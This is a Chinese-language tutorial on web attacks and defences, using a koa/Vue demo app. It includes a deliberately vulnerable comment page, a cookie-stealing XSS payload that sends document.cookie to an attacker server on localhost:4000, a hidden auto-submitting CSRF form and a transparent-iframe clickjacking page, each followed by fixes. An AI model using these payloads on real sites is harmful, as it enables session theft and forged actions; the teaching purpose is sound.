《琢·磨》系列技術分享:16 常見Web安全攻防演練

本篇文章是《琢·磨》系列技術分享第16講,分享常見Web安全攻防演練,包括XSS、CSRF、點擊劫持,會從攻擊和如何防守兩個方向分別進行分享; 本篇文章使用的是koa + MongoDB + Vue實現的demo邏輯。javascript

XSS

1)XSS的定義

XSS (Cross-Site Scripting),跨站腳本攻擊,由於縮寫和 CSS重疊,因此只能叫 XSS。 跨站腳本攻擊是指經過存在安全漏洞的Web網站,讓已註冊用戶在站點內運行非法的非本站點的HTML標籤或JavaScript,進行的一種攻擊。 簡單的來講,就是在站內運行非本站的javascript腳本,所受到的攻擊。css

2)XSS的分類

常見的XSS攻擊分類有兩種:html

一、反射型:經過url參數直接注入前端

二、存儲型:存儲到數據庫,用戶讀取時注入vue

3)總體演示代碼結構

在看代碼以前,咱們先來看一下demo提供的功能:java

share.gif

下面咱們看一下,本次分享所使用到的demo: 首先是常規程序的主入口,index.jsios

const Koa = require('koa');

// koa-router來處理路由
const router = require('koa-router')();
const session = require('koa-session');

// 用來解析post請求的數據,會掛在ctx.request.body中
const bodyParser = require('koa-bodyparser');

// 用來作靜態服務的處理 
const static = require('koa-static');

// 用來處理渲染前端模板,會在ctx中掛在render方法
const views = require('koa-views');

// 數據庫鏈接文件
require('./utils/mongoose');

// 兩個表的模型聲明
const UserModel = require('./models/user');
const CommentModel = require('./models/Comment');

const {
  checkPassword
} = require('./utils/checkLogin');

const app = new Koa();

app.keys = ['some secret'];

// 如下作了上面引入的中間件的初始化
app.use(static(__dirname + '/'));
app.use(bodyParser());
app.use(session({
  key: 'koa.sess',
  maxAge: 86400000,
  httpOnly: false,
  signed: false,
}, app));

app.use(views(__dirname + '/views', {
  map: {
    html: 'handlebars',
  }
}));


// 登陸接口
router.post('/login', async (ctx) => {
  const {
    body: {
      username,
      password,
    }
  } = ctx.request;

  // 檢驗帳號密碼
  if (!(await checkPassword({
    username,
    password,
  }))) {
    ctx.body = {
      message: '帳號或者密碼不對'
    };
    return;
  }

  ctx.session.userinfo = {
    username,
    password
  };
  ctx.body = {
    message: '登陸成功'
  };
})

// 註冊接口
router.post('/register', async (ctx, next) => {
  const {
    body: {
      username,
      password,
    }
  } = ctx.request;

  await UserModel.create({
    username,
    password
  });
  ctx.body = {
    message: '註冊成功',
  };
})

// 渲染評論頁面
router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
  });
});

// 評論接口
router.post('/api/comment', async (ctx, next) => {
  const {
    body: {
      comment,
    }
  } = ctx.request;

  await CommentModel.createComment({
    username: ctx.session.userinfo.username,
    comment,
  });
  ctx.body = {
    message: '評論成功',
  };
})

// 渲染登陸頁面
router.get('/', async (ctx) => {
  await ctx.render('index');
});

// 簡單處理一下評論須要登陸的邏輯
app.use(async (ctx, next) => {
  if (ctx.url.indexOf('comment') > -1) {
    if (!ctx.session.userinfo) {
      ctx.redirect('/');
    } else {
      await next();
    }
  } else {
    await next();
  }
});

app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);
複製代碼

接下來看一下model裏的邏輯,顯示user.jsmongodb

// 這裏使用了mongoose庫作MongoDB的操做
const mongoose = require('mongoose');
// 這裏定義了表的數據模型
const schema = mongoose.Schema({
  username: String,
  password: String,
});

// 這裏掛了兩個方法,獲取用戶和設置用戶
schema.statics.getUser = function(username) {
  return this.model('user')
    .findOne({ username })
    .exec();
};

schema.statics.createUser = function({ username, password }) {
  return this.model('user')
    .create({
      username,
      password,
    });
};

// 這裏對錶與模型作了關聯
const model = mongoose.model('user', schema);

module.exports = model;
複製代碼

下面是comment.js,基本同上:數據庫

const mongoose = require('mongoose');
const schema = mongoose.Schema({
  username: String,
  comment: String,
});

schema.statics.getCommentList = function(username) {
  return this.model('comment')
    .find({})
    .exec();
};

schema.statics.createComment = function({ username, comment }) {
  return this.model('comment')
    .create({
      username,
      comment,
    });
};

const model = mongoose.model('comment', schema);

module.exports = model;
複製代碼

而後是utils裏提供的工具函數, 主要是判斷帳號密碼是否一致和鏈接數據庫:axios

// checkLogin.js
const UserModel = require('../models/user');

exports.checkPassword =  async function ({ username, password }) {
  const res = await UserModel.getUser(username);
  if (res && res.password === password) {
    return true;
  }
  return false
}
複製代碼
// mongoose.js
const mongoose = require('mongoose');

mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {
  useNewUrlParser: true,
  useUnifiedTopology: true,
}).catch(error => {
  console.log('數據庫error', error)
});;
const conn = mongoose.connection;

conn.on('error', () => console.log('數據庫鏈接失敗'));
conn.once('open', () => console.log('數據庫鏈接成功'));
複製代碼

以後是views中提供的兩個頁面:

<!-- index.html 登陸註冊頁面 -->
<!DOCTYPE html>
<html lang="zh-cn">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="./views/axios.min.js"></script>
  <script src="./views/vue.js"></script>
</head>

<body>
  <div id="app">
    <div>
      <input v-model="username">
      <input v-model="password">
    </div>
    <div>
      <button v-on:click="login">登錄</button>
      <button v-on:click="register">註冊</button>
    </div>
  </div>
  </div>
  <script> var app = new Vue({ el: '#app', data: { username: '', password: '' }, methods: { async login() { await axios.post('/login', { username: this.username, password: this.password }) location.href = '/comment?address=北京' }, async register() { await axios.post('/register', { username: this.username, password: this.password }) } } }); </script>
</body>

</html>
複製代碼
<!-- comment.html 評論頁面 {{{}}} 三個中括號爲handlebars模板引擎的語法,會將render渲染頁面的第二個參數中的數據注入到頁面中 -->
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="./views/axios.min.js"></script>
  <script src="./views/vue.js"></script>
</head>

<body>
  <div id="app">
    <div>歡迎來自<span style="color: red">{{{address}}}</span>的用戶,歡迎評論</div>
    <input type="text" v-model="value">
    <button v-on:click="comment">評論</button>
    <div>評論列表</div>
    <!-- handlebars中的循環語法 -->
    {{#each commentList}}
      <div>{{{comment}}}</div>
    {{/each}}
  </div>
  <script> var app = new Vue({ el: '#app', data: { value: '默認值', }, methods: { async comment() { await axios.post('/api/comment', { comment: this.value, }); location.href = '/comment?address=北京'; } } }); </script>
</body>
</html>
複製代碼

以上是常規應用程序的代碼,接下來咱們看一下攻擊程序的代碼,hack,先只看一下index.js中的邏輯,其餘的等演示攻擊的時候再展現:

const Koa = require('koa');
const static = require('koa-static');
const chalk = require('chalk');

// 將打印的log變爲紅色
const log = contents => {
  console.log(chalk.red(contents));
};

const app = new Koa();

app.use(static(__dirname + '/'));

// 主要的邏輯就是這個中間件,這裏打印了一下請求裏攜帶的cookie
app.use(async (ctx, next) => {
  log('cookie: ' + ctx.request.query.cookie);
  await next();
});

app.listen(4000);
複製代碼

4)XSS反射型攻擊

看完上面的效果演示及代碼,咱們先來看一下XSS反射性攻擊的作法。

share1.gif

咱們能夠看到,在url的address中咱們輸入一個字符串,那麼這個地點就會渲染到頁面中。那麼這種地方就可能會有被攻擊的風險。那若是咱們輸入的是javascript腳本,它會不會執行呢?

share2.gif

能夠看到<script>標籤中的alert成功執行了;那麼若是我把hack中的攻擊腳本注入到url中呢? 咱們先來看一下hack中的script.js這個攻擊腳本作了什麼操做:

// 這裏的邏輯很簡單,就是咱們經常使用的發送埋點的一種方式,可是他攜帶了咱們頁面中的cookie
const img = document.createElement('img');
img.src = `http://localhost:4000?cookie=${document.cookie}`;
複製代碼

咱們再來看一下注入這個攻擊腳本會發成什麼:

share3.gif

咱們會看到咱們本站cookie,被hack網站拿到了,那這時候hack就能夠拿着咱們的cookie模擬咱們的登陸態進行登陸:

share4.gif

反射性XSS攻擊,須要用戶點擊相應的攻擊連接才能進行攻擊,效率上相對仍是偏低,那麼咱們能夠不可考慮將腳本注入到頁面中,讓全部訪問該頁面的用戶都能運行咱們的攻擊腳本呢?那麼就有了存儲型,存儲到數據庫,用戶讀取時注入腳本。

5)XSS存儲型攻擊

接下來咱們將腳本經過評論注入到數據庫中:

share5.gif

咱們能夠看到在被注入數據庫後,全部訪問該頁面的用戶都會受到攻擊。

6)XSS的危害

XSS就是運行javascript腳本,那麼一切javascript能作的事情它均可以作,例如:

一、竊取 Cookie 信息,模擬用戶進行登陸,而後進行轉帳等操做

二、使用 addEventListener 監聽用戶行爲,監聽鍵盤事件,竊取用戶的銀行卡密碼等。併發送到攻擊者的服務器

三、經過修改 DOM 僞造假的登陸窗口,欺騙用戶輸入用戶名和密碼等生成浮窗廣告等

四、修改 URL 跳轉到惡意網站

7)XSS防範手段

一、對輸入內容進行轉義

二、 CSP( Content Security Policy) 創建白名單

三、 httpOnly cookies

對輸入內容進行轉義

1.使用模板引擎提供的轉義語法,對用戶所輸入的內容進行轉義,這裏咱們用handlebars提供的{{}}雙括號替代括號

// app/comment.html
  <div id="app">
    <div>歡迎來自<span style="color: red">{{address}}</span>的用戶,歡迎評論</div>
    <input type="text" v-model="value">
    <button v-on:click="comment">評論</button>
    <div>評論列表</div>
    <!-- handlebars中的循環語法 -->
    {{#each commentList}}
      <div>{{comment}}</div>
    {{/each}}
  </div>
複製代碼

能夠看到script腳本被轉成了字符串。

share6.gif

2.使用xss庫對輸入內容進行轉義,這個的好處是,有一些白名單裏的標籤不會被轉義,好比咱們演示中的H1標籤:

// app/index.js
const xss = require('xss');

...

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    // 這裏咱們用xss處理一下咱們輸出的內容
    commentList: JSON.parse(xss(JSON.stringify(commentList))),
  });
});

複製代碼

share7.gif

能夠看到script腳本被轉義了,而H1標籤沒有。

CSP( Content Security Policy) 創建白名單

先來簡單介紹一下CSP CSP是內容安全策略 (CSP, Content Security Policy) 是一個附加的安全層,本質上就是創建白名單,開發者明確告訴瀏覽器哪些外部資源能夠加載和執行。咱們只須要配置規則,如何攔截是由瀏覽器本身實現的。咱們能夠經過這種方式來儘可能減小XSS攻擊。

那麼接下來咱們用CSP防護一下XSS攻擊:

// app/index.js
// 這裏咱們新寫一箇中間件
app.use(async (ctx, next) => {
  // 這裏咱們只容許加載3000端口下的script腳本
  ctx.set('Content-Security-Policy', "script-src http://localhost:3000");
  await next();
});
複製代碼

share8.gif

咱們能夠看到前端頁面這個時候4000的攻擊腳本就沒有加載進來,並在控制檯有提示咱們配置的csp規則。

httpOnly cookies

httpOnly,這是預防XSS攻擊竊取用戶cookie最有效的防護手段。Web應用程序在設置cookie時,將其 屬性設爲HttpOnly,就能夠避免該網頁的cookie被客戶端惡意JavaScript竊取,保護用戶cookie信息。

// app/index.js
app.use(session({
  key: 'koa.sess',
  maxAge: 86400000,
  // 這裏咱們設置httpOnly爲true,只容許cookie在http請求中使用
  httpOnly: true,
  signed: false,
}, app));
複製代碼

share9.gif

咱們能夠再次訪問時,hack網站就拿不到咱們的cookie信息了。

以上就是XSS攻擊的攻擊和防護手段了,接下來咱們看一下CSRF的攻防手段。

CSRF

1)CSRF的定義

CSRF (cross site request forgery) 跨站請求僞造,它利用用戶已登陸的身份,在用戶不知情的狀況下,以用戶的名義完,成非法操做。

2)CSRF演示

咱們先來看一下hack中的csrf攻擊頁面邏輯:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <h1>看小貓咪的網站,實際是CSRF攻擊</h1>
  <img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" alt="">
  <script> // 咱們插入了一個form表單,在4000的hack網站請求了3000的接口,而且作了數據提交 document.write(` <form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none"> 添加評論: <input type="text" name="comment" value="CSRF攻擊" /> </form> `) var iframe = document.createElement('iframe'); iframe.name = 'csrf'; iframe.style.display = 'none'; document.body.appendChild(iframe); setTimeout(function() { document.querySelector('form').submit(); },1000); </script>
</body>
</html>
複製代碼

下面咱們看一下演示

share10.gif

咱們在演示中能夠看到,咱們在hack的網站中進行了訪問,雖然咱們沒有去訪問3000的站點,但仍然被hack網站冒用了信息,被盜用進行了評論,這就是csrf的攻擊手段。它利用用戶已登陸的身份,在用戶不知情的狀況下,以用戶的名義完,成非法操做。

3)CSRF的特色

一、攻擊通常發起在第三方網站,而不是被攻擊的網站。被攻擊的網站沒法防止攻擊發生。

二、攻擊利用受害者在被攻擊網站的登陸憑證,冒充受害者提交操做;而不是直接竊取數據。 整個過程攻擊者並不能獲取到受害者的登陸憑證,僅僅是「冒用」。

三、跨站請求能夠用各類方式:圖片URL、超連接、CORS、Form提交等等。部分請求方式能夠直接嵌入在第三方論壇、文章中,難以進行追蹤。

4)CSRF的防範手段

一、驗證referer

二、攜帶token

三、使用驗證碼

驗證referer

咱們在app/index.js加一箇中間件

app.use(async (ctx, next) => {
  // 這裏咱們將referer進行輸出
  console.log('referer: ', ctx.request.header.referer);
  await next();
});
複製代碼

share11.gif

能夠看到咱們能拿到當前的訪問站點是哪一個,而後就能夠設置白名單進行過濾。

攜帶token

這裏的token就是一段隨機的字符串,在用戶訪問時咱們在頁面中隨機返回一段字符串,在用戶請求的時候,須要攜帶csrf_token進行驗證。那麼hack網站在模擬攻擊時,是沒法獲取咱們頁面中注入的csrf_token的,因此請求會驗證失敗。

// 咱們引用koa-csrf庫,它會在ctx下掛載csrf字段
const CSRF = require('koa-csrf');

...

app.use(new CSRF({
  invalidTokenMessage: 'Invalid CSRF token',
  invalidTokenStatusCode: 403,
  excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],
  disableQuery: false
}));

...

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
    csrfToken: ctx.csrf,
  });
});
複製代碼

咱們將生成的csrf_token掛到頁面中:

// views/comment.html
async comment() {
  await axios.post('/api/comment', {
    comment: this.value,
    _csrf: '{{csrfToken}}',
  });
  location.href = '/comment?address=北京';
}
複製代碼

share12.gif

能夠看到hack網站在發送請求的時候,驗證未經過。

使用驗證碼

csrf就是在用戶不知情的狀況下,冒用身份作非法操做。那麼咱們最直接的杜絕方法,就是產生人機交互,讓用戶知道當前我要作什麼操做,要幹什麼,從而防範csrf的攻擊。那麼常見的人機交互方式就是驗證碼的形式了。

以上就是csrf的攻擊防護手段,接下來咱們分享一下點擊劫持。

點擊劫持

1)點擊劫持的定義

點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將須要攻擊的網站經過iframe 嵌套的方式嵌入本身的網頁中,並將 iframe 設置爲透明,在頁面中透出一個按鈕誘導用戶點擊,觸發了不是用戶真正意願的事件。

2)點擊劫持演示

咱們仍是先來看一下hack的點擊劫持攻擊代碼:

// hack/click.html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style> iframe { width: 800px; height: 300px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 32px; left: 164px; z-index: 1; } img { height: 300px; } </style>
</head>

<body>
  <button>查看更多</button>
  <img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg">
  <iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
</body>

</html>
複製代碼

這個攻擊代碼也很簡單,咱們就是講iframe嵌套的網站設置成透明,放在最上層,而後用一個按鈕覆蓋頁面中的操做,在用戶點擊查看更多圖片的時候,其實是進行了評論操做;

share13.gif

3)點擊劫持的防範

X-FRAME-OPTIONS

一、DENY: 表示頁面不容許經過 iframe 的方式展現

二、SAMEORIGIN: 表示頁面能夠在相同域名下經過 iframe 的方式展現

三、ALLOW-FROM: 表示頁面能夠在指定來源的 iframe 中展現

X-FRAME-OPTIONS是一個HTTP響應頭。這個HTTP響應頭就是爲了防護用iframe嵌套的點擊劫持攻擊。 咱們來看一下代碼:

router.get('/comment', async (ctx) => {
  const commentList = await CommentModel.getCommentList();
  
  //這裏咱們設置了請求頭,不容許任何頁面將該頁面進行iframe嵌套
  ctx.set('X-FRAME-OPTIONS', 'DENY');
  await ctx.render('comment', {
    address: ctx.request.query.address,
    commentList: JSON.parse(JSON.stringify(commentList)),
  });
});
複製代碼

share14.gif

能夠看到,這個時候頁面就沒有被iframe加載進來了。

以上就是本期的所有分享了,但願能夠對你們有所幫助!

相關文章
相關標籤/搜索